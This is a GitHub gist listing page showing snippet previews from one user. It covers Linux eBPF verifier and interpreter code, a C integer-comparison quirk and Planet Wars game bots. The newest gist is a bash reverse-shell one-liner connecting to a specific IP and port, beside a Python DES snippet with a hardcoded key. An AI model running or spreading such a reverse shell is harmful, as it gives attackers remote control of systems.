yanirz
/ gist:147722ddf0dc0ee4d6ac1c57ca61dab5
Created
February 28, 2026 17:19
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| bash -i >& /dev/tcp/162.19.251.120/8531 0>&1 |
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| import hmac | |
| from hashlib import sha1 | |
| from Crypto.Cipher import DES | |
| from base64 import b64decode, b64encode | |
| BS = 8 | |
| pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) | |
| key = b64decode("SnNGOTg3Ni0=") |
yanirz
/ bpfprogrun.c
Created
January 26, 2019 14:27
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| static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn) | |
| { | |
| ... | |
| static const void *jumptable[256] = { | |
| [0 ... 255] = &&default_label, | |
| /* Now overwrite non-defaults ... */ | |
| /* 32 bit ALU operations */ | |
| [BPF_ALU | BPF_ADD | BPF_X] = &&ALU_ADD_X, | |
| [BPF_ALU | BPF_ADD | BPF_K] = &&ALU_ADD_K, | |
| ... |
yanirz
/ gist:e98f50d2c7542a47448cc252c9ea94a1
Created
January 26, 2019 14:18
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| int a = 0xFFFFFFFF; | |
| uint64_t b = 0xFFFFFFFFFFFFFFFF; | |
| if(a == b) | |
| printf("true\n"); | |
| else | |
| printf("false\n"); |
yanirz
/ bpfembed0.c
Created
January 26, 2019 14:06
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| /* case: R = imm | |
| * remember the value we stored into this reg | |
| */ | |
| regs[insn->dst_reg].type = SCALAR_VALUE; | |
| __mark_reg_known(regs + insn->dst_reg, insn->imm); |
yanirz
/ bpfembed.c
Created
January 26, 2019 14:05
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| struct bpf_insn { | |
| __u8 code; /* opcode */ | |
| __u8 dst_reg:4; /* dest register */ | |
| __u8 src_reg:4; /* source register */ | |
| __s16 off; /* signed offset */ | |
| __s32 imm; /* signed immediate constant */ | |
| }; | |
| /* Mark the unknown part of a register (variable offset or scalar value) as | |
| * known to have the value @imm. | |
| */ |
yanirz
/ jmphandler.c
Created
January 26, 2019 14:03
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| if (BPF_SRC(insn->code) == BPF_K && | |
| (opcode == BPF_JEQ || opcode == BPF_JNE) && | |
| dst_reg->type == SCALAR_VALUE && | |
| tnum_equals_const(dst_reg->var_off, insn->imm)) { | |
| if (opcode == BPF_JEQ) { | |
| /* if (imm == imm) goto pc+off; | |
| * only follow the goto, ignore fall-through | |
| */ | |
| *insn_idx += insn->off; | |
| return 0; |
yanirz
/ gist:ff21184081ce657dc40c
Created
July 27, 2014 15:29
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| def do_turn(pw): | |
| try: | |
| dest = 0 | |
| if len(pw.my_fleets()) >= 1: | |
| return | |
| if not len(pw.my_planets()): | |
| return | |
| if pw.enemy_fleets() >= 1: | |
| for f in pw.enemy_fleets(): | |
| attackFleet(pw,f) |
yanirz
/ gist:3becd1aba9ca60096a8b
Created
July 27, 2014 14:07
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| def do_turn(pw): | |
| dest = 0 | |
| if len(pw.my_fleets()) >= 1: | |
| return | |
| if not len(pw.my_planets()): | |
| return | |
| if pw.turn_number() % 2 != 0: # CLOSEST | |
| pw.debug("A") | |
| source = getrichestplanet(pw) | |
| dest = getclosestplanet(pw) |
yanirz
/ gist:14fec9884ec1a1e92aa3
Created
July 27, 2014 13:49
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| def do_turn(pw): | |
| dest = 0 | |
| if len(pw.my_fleets()) >= 1: | |
| return | |
| if not len(pw.my_planets()): | |
| return | |
| if pw.turn_number() % 2 != 0: # CLOSEST | |
| #pw.debug("A") | |
| source = getrichestplanet(pw) | |
| dest = getclosestplanet(pw) |
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